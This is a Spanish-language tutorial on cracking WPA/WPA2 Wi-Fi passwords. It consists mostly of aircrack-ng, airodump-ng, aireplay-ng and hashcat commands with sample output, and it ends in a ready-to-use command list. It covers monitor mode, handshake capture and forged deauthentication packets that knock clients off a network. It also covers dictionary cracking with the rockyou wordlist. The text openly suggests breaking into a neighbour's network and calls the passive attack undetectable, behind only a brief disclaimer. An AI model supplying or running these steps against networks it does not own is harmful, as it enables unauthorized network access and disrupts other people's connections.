
Descifra routers Wi-Fi WPA/WPA2 con Airodump-ng y Aircrack-ng/Hashcat
Crackea routers Wi-Fi WPA/WPA2 con Airodump-ng y Aircrack-ng/Hashcat.
Este es un breve tutorial que ilustra cómo crackear redes Wi-Fi aseguradas con contraseñas débiles. No es exhaustivo, pero debería ser información suficiente para que puedas probar la seguridad de tu propia red o entrar en una cercana. El ataque descrito a continuación es completamente pasivo (solo escucha, nada se transmite desde tu computadora) y es imposible de detectar siempre que no uses realmente la contraseña que crackees. Un ataque activo opcional de desautenticación puede usarse para acelerar el proceso de reconocimiento y se describe al final de este documento.
Si estás familiarizado con este proceso, puedes saltarte las descripciones e ir directamente a la lista de comandos al final. Para una variedad de sugerencias y métodos alternativos, consulta el apéndice. neal1991 y tiiime han proporcionado amablemente traducciones de este documento y el apéndice al chino si prefieres esas versiones.
DESCARGO DE RESPONSABILIDAD: Este software/tutorial es solo con fines educativos. No debe usarse para actividades ilegales. El autor no se hace responsable de su uso. No seas imbécil.
Este tutorial asume que:
sudo apt-get install aircrack-ngComienza listando las interfaces inalámbricas que soportan modo monitor con:
airmon-ng
Si no ves una interfaz listada, entonces tu tarjeta inalámbrica no soporta modo monitor 😞
Asumiremos que el nombre de tu interfaz inalámbrica es wlan0, pero asegúrate de usar el nombre correcto si difiere de este. A continuación, pondremos la interfaz en modo monitor:
airmon-ng start wlan0
Ejecuta iwconfig. Ahora deberías ver una nueva interfaz en modo monitor listada (probablemente mon0 o wlan0mon).
Empieza a escuchar las tramas Beacon 802.11 transmitidas por los routers inalámbricos cercanos usando tu interfaz monitor:
airodump-ng mon0
Deberías ver una salida similar a la siguiente:
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Para los fines de esta demostración, elegiremos crackear la contraseña de mi red, "hackme". Recuerda la dirección MAC BSSID y el número de canal (CH) mostrados por airodump-ng, ya que los necesitaremos para el siguiente paso.
WPA/WPA2 utiliza un handshake de 4 vías para autenticar dispositivos en la red. No necesitas saber nada sobre lo que eso significa, pero sí debes capturar uno de estos handshakes para poder crackear la contraseña de la red. Estos handshakes ocurren cada vez que un dispositivo se conecta a la red, por ejemplo, cuando tu vecino regresa del trabajo. Capturamos este handshake dirigiendo airodump-ng para monitorear el tráfico en la red objetivo usando los valores del canal y bssid descubiertos con el comando anterior.
# reemplaza los valores de -c y --bssid con los de tu red objetivo
# -w especifica el directorio donde guardaremos la captura de paquetes
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Ahora esperamos... Una vez que hayas capturado un handshake, deberías ver algo como [ WPA handshake: bc:d3:c9:ef:d2:67 en la parte superior derecha de la pantalla, justo a la derecha de la hora actual.
Si te sientes impaciente y te sientes cómodo usando un ataque activo, puedes forzar que los dispositivos conectados a la red objetivo se reconecten, enviándoles paquetes de desautenticación maliciosos. Esto a menudo resulta en la captura de un handshake de 4 vías. Consulta la sección de ataque de desautenticación a continuación para más información.
Una vez que hayas capturado un handshake, presiona ctrl-c para salir de airodump-ng. Deberías ver un archivo .cap en el lugar donde le indicaste a airodump-ng guardar la captura (probablemente llamado -01.cap). Usaremos este archivo de captura para crackear la contraseña de la red. Me gusta renombrar este archivo para reflejar el nombre de la red que estamos intentando crackear:
mv ./-01.cap hackme.cap
El paso final es crackear la contraseña usando el handshake capturado. Si tienes acceso a una GPU, recomiendo encarecidamente usar hashcat para el crackeo de contraseñas. He creado una herramienta simple que hace que hashcat sea muy fácil de usar llamada naive-hashcat. Si no tienes acceso a una GPU, hay varios servicios en línea de crackeo con GPU que puedes usar, como GPUHASH.me o OnlineHashCrack. También puedes intentar crackear con CPU usando Aircrack-ng.
Ten en cuenta que ambos métodos de ataque asumen una contraseña generada por el usuario relativamente débil. La mayoría de los routers WPA/WPA2 vienen con contraseñas aleatorias fuertes de 12 caracteres que muchos usuarios (correctamente) dejan sin cambiar. Si estás intentando crackear una de estas contraseñas, recomiendo usar los archivos de diccionario Probable-Wordlists de longitud WPA.
naive-hashcat (recomendado)Antes de poder crackear la contraseña usando naive-hashcat, necesitamos convertir nuestro archivo .cap al formato de archivo hashcat equivalente .hccapx. Puedes hacer esto fácilmente subiendo el archivo .cap a https://hashcat.net/cap2hccapx/ o usando la herramienta cap2hccapx directamente.
cap2hccapx.bin hackme.cap hackme.hccapx
Luego, descarga y ejecuta naive-hashcat:
# descargar
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# descargar el archivo de diccionario rockyou de 134MB
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# ¡crackea! ¡nena! ¡crackea!
# 2500 es el modo hash de hashcat para WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat utiliza varios ataques de diccionario, reglas, combinación y máscara (fuerza bruta inteligente) y puede llevar días o incluso meses ejecutarse contra contraseñas de resistencia media. La contraseña crackeada se guardará en hackme.pot, así que revisa este archivo periódicamente. Una vez que hayas crackeado la contraseña, deberías ver algo como esto como contenido de tu POT_FILE:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Donde los dos últimos campos separados por : son el nombre de la red y la contraseña respectivamente.
Si deseas usar hashcat sin naive-hashcat, consulta esta página para obtener información.
Aircrack-ng se puede usar para ataques de diccionario muy básicos ejecutándose en tu CPU. Antes de ejecutar el ataque necesitas una lista de palabras. Recomiendo usar el famoso archivo de diccionario rockyou:
# descargar el archivo de diccionario rockyou de 134MB
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Ten en cuenta que si la contraseña de la red no está en el archivo de palabras, no crackearás la contraseña.
# -a2 especifica WPA2, -b es el BSSID, -w es el archivo de palabras
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
Si la contraseña es crackeada, verás un mensaje KEY FOUND! en la terminal seguido de la versión en texto plano de la contraseña de la red.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Un ataque de desautenticación envía paquetes de desautenticación falsificados desde tu máquina a un cliente conectado a la red que estás intentando crackear. Estos paquetes incluyen direcciones de "remitente" falsas que hacen que parezcan, para el cliente, como si hubieran sido enviados desde el propio punto de acceso. Al recibir dichos paquetes, la mayoría de los clientes se desconectan de la red y se reconectan inmediatamente, proporcionándote un handshake de 4 vías si estás escuchando con airodump-ng.
Usa airodump-ng para monitorear un punto de acceso específico (usando -c canal --bssid MAC) hasta que veas un cliente (STATION) conectado. Un cliente conectado se ve algo así, donde 64:BC:0C:48:97:F7 es la MAC del cliente.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Ahora, deja airodump-ng ejecutándose y abre una nueva terminal. Usaremos el comando aireplay-ng para enviar paquetes de desautenticación falsos a nuestro cliente víctima, forzándolo a reconectarse a la red y, con suerte, capturar un handshake en el proceso.
# -0 2 especifica que queremos enviar 2 paquetes de desautenticación. Aumenta este número
# si es necesario, con el riesgo de interrumpir notablemente la actividad de red del cliente
# -a es la MAC del punto de acceso
# -c es la MAC del cliente
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Opcionalmente, puedes transmitir paquetes de desautenticación a todos los clientes conectados con:
# no todos los clientes respetan las desautenticaciones de difusión
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Una vez que hayas enviado los paquetes de desautenticación, vuelve a tu proceso airodump-ng, y con suerte ahora deberías ver algo como esto en la parte superior derecha: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Ahora que has capturado un handshake, deberías estar listo para crackear la contraseña de la red.
A continuación se muestra una lista de todos los comandos necesarios para crackear una red WPA/WPA2, en orden, con una explicación mínima.
# poner tu dispositivo de red en modo monitor
airmon-ng start wlan0
# escuchar todas las tramas beacon cercanas para obtener BSSID y canal objetivo
airodump-ng mon0
# comenzar a escuchar el handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# opcionalmente desautenticar un cliente conectado para forzar un handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## crackear contraseña con aircrack-ng... ##########
# descargar archivo de diccionario rockyou.txt de 134MB si es necesario
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crackear con aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## o crackear contraseña con naive-hashcat ##########
# convertir cap a hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# crackear con naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
La respuesta a este tutorial fue tan genial que he agregado sugerencias y material adicional de miembros de la comunidad como un apéndice. Échale un vistazo para aprender cómo:
wlandump-ngcrunch para generar listas de palabras de más de 100GB sobre la marchamacchangerTambién hay disponible una versión en chino del apéndice.
Gran parte de la información presentada aquí fue extraída del increíble tutorial de Lewis Encarnación. Gracias también a los increíbles autores y mantenedores que trabajan en Aircrack-ng y Hashcat.
Un agradecimiento enorme a neal1991 y tiiime por traducir este tutorial al chino. Más agradecimientos a yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp y Shark0der que también proporcionaron sugerencias y correcciones de errores tipográficos en Reddit y GitHub. Si estás interesado en escuchar algunas alternativas propuestas a WPA2, consulta la gran discusión en esta publicación de Hacker News.